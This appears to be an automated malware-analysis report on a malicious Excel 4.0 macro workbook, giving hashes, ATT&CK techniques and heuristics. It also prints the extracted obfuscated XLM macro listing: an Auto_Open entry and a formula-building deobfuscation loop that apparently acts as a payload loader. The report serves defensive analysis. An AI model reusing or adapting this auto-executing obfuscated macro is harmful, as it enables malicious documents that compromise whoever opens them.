Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b7bd2c6fbad1c13…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:20 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: df60853769a1e79c4531b1c60546768d SHA-1: b0c642d6b50ec5e006362d5667b0792db7ad17e3 SHA-256: 6b7bd2c6fbad1c13d5ad134dbd09d71c72966c85c7954a37d62d9691445a201e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 (XLM) macros, specifically an Auto_Open entry. This indicates an attempt to automatically execute code when the workbook is opened. The presence of dangerous formula APIs in the Auto_Open macro suggests it is designed to perform malicious actions, such as downloading and executing a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6404 bytes
SHA-256: 00aaf59bc8238d12e04380be6953b09b750d210485e64414b48990d29ffd9d59
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rquQA
' 0018     21 LABEL : Cell Value, String Constant - aqoxlW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F143 
' 0018     23 LABEL : Cell Value, String Constant - BIDWhTPx len=0 
' 0018     27 LABEL : Cell Value, String Constant - BuqSVwzaNBJe len=0 
' 0018     23 LABEL : Cell Value, String Constant - CFpdHmuJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - DnUnwU len=0 
' 0018     25 LABEL : Cell Value, String Constant - eGZXyHcdyo len=0 
' 0018     24 LABEL : Cell Value, String Constant - EjXEaeEIO len=0 
' 0018     22 LABEL : Cell Value, String Constant - exwKVIV len=0 
' 0018     26 LABEL : Cell Value, String Constant - jfAhlQcwfQH len=0 
' 0018     20 LABEL : Cell Value, String Constant - JrsKo len=0 
' 0018     24 LABEL : Cell Value, String Constant - kMdkDMbVp len=0 
' 0018     25 LABEL : Cell Value, String Constant - KOQTcVSOyu len=0 
' 0018     26 LABEL : Cell Value, String Constant - LHaDFATqVyp len=0 
' 0018     27 LABEL : Cell Value, String Constant - mDnCXfyygkPI len=0 
' 0018     20 LABEL : Cell Value, String Constant - oNKER len=0 
' 0018     24 LABEL : Cell Value, String Constant - QZSFDpmIp len=0 
' 0018     22 LABEL : Cell Value, String Constant - SIojSlI len=0 
' 0018     22 LABEL : Cell Value, String Constant - xUvnaNl len=0 
' 0018     20 LABEL : Cell Value, String Constant - yWKui len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZLPPezNV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rquQA,F51,"SET.NAME("DnUnwU",VALUE("0"))",""
'  rquQA,F55,"SET.NAME("JrsKo",DnUnwU)",""
'  rquQA,F58,"SET.NAME("LHaDFATqVyp",DnUnwU)",""
'  rquQA,F60,"SET.NAME("BIDWhTPx",COUNTA(QZSFDpmIp))",""
'  rquQA,F62,"SET.NAME("BuqSVwzaNBJe",COUNTA(xUvnaNl))",""
'  rquQA,F65,[],""
'  rquQA,F70,"SET.NAME("aqoxlW","")",""
'  rquQA,F75,"JrsKo",""
'  rquQA,F77,"SET.NAME("kMdkDMbVp",HLOOKUP("*",QZSFDpmIp,JrsKo,FALSE))",""
'  rquQA,F80,"ZLPPezNV",""
'  rquQA,F83,"SET.NAME("mDnCXfyygkPI",DnUnwU)",""
'  rquQA,F87,[],""
'  rquQA,F91,"mDnCXfyygkPI",""
'  rquQA,F94,"eGZXyHcdyo",""
'  rquQA,F98,"oNKER",""
'  rquQA,F101,"yWKui",""
'  rquQA,F106,"SET.NAME("KOQTcVSOyu",VALUE(HLOOKUP("*",xUvnaNl,yWKui,FALSE)))",""
'  rquQA,F111,"exwKVIV",""
'  rquQA,F115,"aqoxlW",""
'  rquQA,F119,"LHaDFATqVyp",""
'  rquQA,F124,NEXT(),""
'  rquQA,F126,"CFpdHmuJ",""
'  rquQA,F129,"SET.NAME("f",INT(T(FORMULA(T(aqoxlW)&"",""&T(CFpdHmuJ)))))",""
'  rquQA,F132,"SIojSlI",""
'  rquQA,F136,NEXT(),""
'  rquQA,F141,RETURN(),""
'  rquQA,F174,"SET.NAME("EjXEaeEIO",F51)",""
'  rquQA,F176,"QZSFDpmIp",""
'  rquQA,F179,"SET.NAME("xUvnaNl",R45C13)",""
'  rquQA,F183,"SET.NAME("SIojSlI",193)",""
'  rquQA,F187,"SET.NAME("jfAhlQcwfQH",6)",""
'  rquQA,F192,EjXEaeEIO(),""
'  rquQA,F193,HALT(),""

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